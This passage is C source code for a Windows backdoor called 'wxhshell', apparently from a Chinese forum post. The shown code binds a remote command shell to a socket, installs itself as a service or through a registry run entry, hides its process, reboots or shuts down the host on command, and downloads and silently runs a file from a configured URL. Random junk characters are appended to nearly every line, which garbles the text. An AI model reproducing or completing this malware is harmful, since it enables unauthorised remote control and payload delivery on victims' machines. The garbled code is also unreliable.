  $PHKI B(  
  // 帮助 Y@_ i32,r  
  case '?': {  4\dc  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K (Z d-U  
    break; 8O("o7~"  
  } HQ ^> ~  
  // 安装 }4 P@`>e/`  
  case 'i': { IEjKI"  
    if(Install()) n=L;(jp<j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?fCLiK  
    else l J;wl|9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L7%Dc2{^(  
    break; $2 ~A^#"0  
    } F+*: >@3  
  // 卸载 n]6xrsE  
  case 'r': { <;phc~0+  
    if(Uninstall()) <y(>z*T;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (#X/sZQh  
    else X -w#E3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \SA5@.W  
    break; :7@"EW  
    } OZQhT)nS]  
  // 显示 wxhshell 所在路径 9@:H9" w  
  case 'p': { =36vsps=  
    char svExeFile[MAX_PATH]; | z$ba:u5  
    strcpy(svExeFile,"\n\r"); 9%> H}7=  
      strcat(svExeFile,ExeFile); &}YB!6k h^  
        send(wsh,svExeFile,strlen(svExeFile),0); 6./h0kD`  
    break; ShF ][v1L  
    } E6y/,s^~S_  
  // 重启 gB71~A{J  
  case 'b': { Y}(v[QGV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nBWrkVX  
    if(Boot(REBOOT)) ?U iwr{Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `-qSvjX  
    else { 8!4=j  
    closesocket(wsh); &CCB;Oi%  
    ExitThread(0); CNM/}|N^Si  
    } T{{J' _s5L  
    break; }i|o":-x+  
    } H.v`JNs (  
  // 关机 < 5;0LPU  
  case 'd': { UN_lK<utF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); FavU"QU&|  
    if(Boot(SHUTDOWN)) n|yl3v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t`Mm  
    else { TB*g$ *  
    closesocket(wsh); 1CFrV=d  
    ExitThread(0); toX4kmC  
    } l/DV ?27  
    break; s7D_fv4e  
    } 0F0V JE  
  // 获取shell t A\N$  
  case 's': { `jvIcu5c  
    CmdShell(wsh); f&7SivS#  
    closesocket(wsh); ;!Ojb  
    ExitThread(0); T,`'qZ>  
    break; MDGcK/$')f  
  } --Dw8FR9  
  // 退出 0A9x9l9Wd  
  case 'x': { "n7rbh3VW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OzX\ s=  
    CloseIt(wsh); `P)1RTVx  
    break; w`c9_V  
    } p! zC  
  // 离开 D$YAi%*H  
  case 'q': { 43A6B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .hSacd  
    closesocket(wsh); z%`Tf&UL  
    WSACleanup(); 1LJ ?Ka[_*  
    exit(1); V4l`Alr\L  
    break; [WRs1$5  
        } ryW1OV6?_0  
  } V%<<Udu<  
  } fP&F$"o8  
^ Gq2"rDM  
  // 提示信息 jt S+y)2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gD@ &/j7  
} q4xB`G  
  } 67<zBw2  
4)]g=-3  
  return; Olj]A]v}  
} n&r-  
e\%QHoi>u  
// shell模块句柄 y~SFlv36  
int CmdShell(SOCKET sock) O->i>d  
{ Z?ZcQ[eC  
STARTUPINFO si; b+OLmd  
ZeroMemory(&si,sizeof(si)); ]^3_eHa^d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OcQ_PE5\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w> IkC+.?  
PROCESS_INFORMATION ProcessInfo; Q2Yv8q_}Uq  
char cmdline[]="cmd"; &A*oQ3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); LJc w->  
  return 0; MPAZ%<gmD  
} ?\<2*sW [k  
GH7{_@pv8  
// 自身启动模式 P9B@2#  
int StartFromService(void) 0 u,=OvU  
{ PJAE~|a  
typedef struct j<szQ%tJlI  
{ _>dqz(8#  
  DWORD ExitStatus; >tr_Ypfv,c  
  DWORD PebBaseAddress; x/[i &Gkv  
  DWORD AffinityMask; J.$<Lnt>u  
  DWORD BasePriority; 7. G   
  ULONG UniqueProcessId; Ua5m2&U1  
  ULONG InheritedFromUniqueProcessId; T!"<Kv]J  
}   PROCESS_BASIC_INFORMATION; >m:.5][yu  
^n@iCr9  
PROCNTQSIP NtQueryInformationProcess; YQ,IdWav  
p0qQ(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; L}XERO TR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "<v_fF<Y  
Dr6Br<yi  
  HANDLE             hProcess; c~5#)AXMT  
  PROCESS_BASIC_INFORMATION pbi; N5}vy$t_P  
1.p?P] .  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~9kvC&/{[  
  if(NULL == hInst ) return 0; SjtGU47$!  
Rb#Z'1D'G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {;n?c$r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }E*d)n|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wju~5  
7Kk rfJqN  
  if (!NtQueryInformationProcess) return 0; }h +a8@  
i_`YZ7Hxp  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); DECX18D  
  if(!hProcess) return 0; / v5Pk.!o  
7KRc^ *pZs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~e 6yaX8S  
O.& 6J/  
  CloseHandle(hProcess); yZ0;\Tr*J  
@ RTQJ+ms  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Pu/0<Orp7  
if(hProcess==NULL) return 0; }td+F&l($V  
UM|GX  
HMODULE hMod; >B8)Wb :  
char procName[255]; {)4Vv`n  
unsigned long cbNeeded; F#X\}MvEU  
~q4DePVE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); iN`/pW/JE  
EOtrrfT&  
  CloseHandle(hProcess); Pk8L- [&v  
Se0/ysVB  
if(strstr(procName,"services")) return 1; // 以服务启动 _N/]&|.. !  
Xuh_bW&zF  
  return 0; // 注册表启动 :Jhx4/10  
} k`oXo%  
B|:{.U@ne  
// 主模块 i$"FUC~'  
int StartWxhshell(LPSTR lpCmdLine) & \<RVE  
{ T2Y`q'  
  SOCKET wsl; R&ou4Y:DG  
BOOL val=TRUE; lmH!I )5  
  int port=0; rt^z#2$  
  struct sockaddr_in door; *ivbk /8  
Zr}`W \  
  if(wscfg.ws_autoins) Install(); pxI*vgfN7  
(g7nMrE$j  
port=atoi(lpCmdLine); JGj_{|=:  
<( BAws(X  
if(port<=0) port=wscfg.ws_port; YLSG 5vF+  
3qpk Mu3  
  WSADATA data; _JR4 PKtx  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; hZ2PP ^  
7Mo O2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +QldZba  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =;Wkg4\5  
  door.sin_family = AF_INET; }-r"W7]k  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D|e6$O5o  
  door.sin_port = htons(port); 6b<t|zb  
~@'|R%jJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &cpRB&bf  
closesocket(wsl); sv0kksj  
return 1; `Z%XA>  
} *2:)Rf  
5VG@Q%  
  if(listen(wsl,2) == INVALID_SOCKET) { B@iIj<p~  
closesocket(wsl); #y>oCB`EM  
return 1; cgz'6q'T  
} }PED#Uv  
  Wxhshell(wsl); ^1*p]j(  
  WSACleanup(); V{d"cs>9  
n0vPW^EQ  
return 0; ^f<f&V  
5)T{iPU%X  
} []dRDe;#  
QtN0|q{af  
// 以NT服务方式启动 3>L1}zyM]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L {B#x@9tQ  
{ L"}@>&6  
DWORD   status = 0; wV5<sH__  
  DWORD   specificError = 0xfffffff; oK(ua  
QQ!,W':  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kQ'G+Kw~F  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YmF`7W  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vm4]KEyrX  
  serviceStatus.dwWin32ExitCode     = 0; {<kl)}  
  serviceStatus.dwServiceSpecificExitCode = 0; c#Y9L+O  
  serviceStatus.dwCheckPoint       = 0; u{H_q&1  
  serviceStatus.dwWaitHint       = 0; Pyyx/u+?@  
brTB /(E  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7XR[`Tn9<  
  if (hServiceStatusHandle==0) return; P `2Rte6s  
IloHU6h'  
status = GetLastError(); ;nh7Elk  
  if (status!=NO_ERROR) |#-Oz#Eg'  
{ UI!EIZ*~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; G53!wIW2:  
    serviceStatus.dwCheckPoint       = 0; NEGpf[$  
    serviceStatus.dwWaitHint       = 0; 4tu2%Og)?  
    serviceStatus.dwWin32ExitCode     = status; >Zr/U!W*?  
    serviceStatus.dwServiceSpecificExitCode = specificError; Pc4sReo'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _')KDy7  
    return; [fW:%!Y'  
  } 4e%SF|(Y'h  
%"KBX~3+Kj  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w^ DAu1  
  serviceStatus.dwCheckPoint       = 0; :$}67b)MO  
  serviceStatus.dwWaitHint       = 0; _FVIN;!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *{-XN  
} ~V./*CQ\c  
.5I1wRN49  
// 处理NT服务事件,比如:启动、停止 a\%g_Q){  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0e}L Z,9e  
{ kXOlZ C  
switch(fdwControl) SQz>e  
{ LXK+WB/s  
case SERVICE_CONTROL_STOP: :^ cA\2=  
  serviceStatus.dwWin32ExitCode = 0; 5,mb]v0k  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (TY^ kySr  
  serviceStatus.dwCheckPoint   = 0; ](a<b@p  
  serviceStatus.dwWaitHint     = 0; I`y}Ky<q  
  { FijzO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ] xH `  
  } L^0jyp  
  return; ?EpY4k8,  
case SERVICE_CONTROL_PAUSE: 3ea6g5kX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; sxuYwQ  
  break; Z#Zk)  
case SERVICE_CONTROL_CONTINUE: zCco/]h  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Zd~Z`B} &  
  break; 9xWeVlfQ  
case SERVICE_CONTROL_INTERROGATE: n=yFw\w'  
  break; s\ ~r 8  
}; YHAy+S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `GSfA0?  
} : 0%V:B  
( E0be.  
// 标准应用程序主函数 k@wxN!w;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zb9$  
{ 7%?A0%>6G  
y t<K!=7&  
// 获取操作系统版本 ^ 5UIbA(  
OsIsNt=GetOsVer(); Qb SX'mx<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c5t?S@b  
"0]i4d1l  
  // 从命令行安装 V= .'Db2D  
  if(strpbrk(lpCmdLine,"iI")) Install(); W{0<ro`  
D vK}UAj=  
  // 下载执行文件 r<~1:/F|  
if(wscfg.ws_downexe) { WJg?R^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QU\|RX   
  WinExec(wscfg.ws_filenam,SW_HIDE); ,Z52d ggD  
} py,z7_Nuh  
evn ]n  
if(!OsIsNt) { 5X[=Q>  
// 如果时win9x,隐藏进程并且设置为注册表启动 WO '33Q(  
HideProc(); ~s88JLw%&u  
StartWxhshell(lpCmdLine); H(""So7L  
} .=K@M"5&  
else m"xw5aa>  
  if(StartFromService()) Z$+0gm\Cnw  
  // 以服务方式启动 Bh@j6fv  
  StartServiceCtrlDispatcher(DispatchTable); N]5-#  
else hDfsqSK0 /  
  // 普通方式启动 cQN}z Ke  
  StartWxhshell(lpCmdLine); QZd ,GY5{  
{ \Q'eL8  
return 0; k.rZj|7 L  
}
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只看该作者 1 发表于: 2006-10-10
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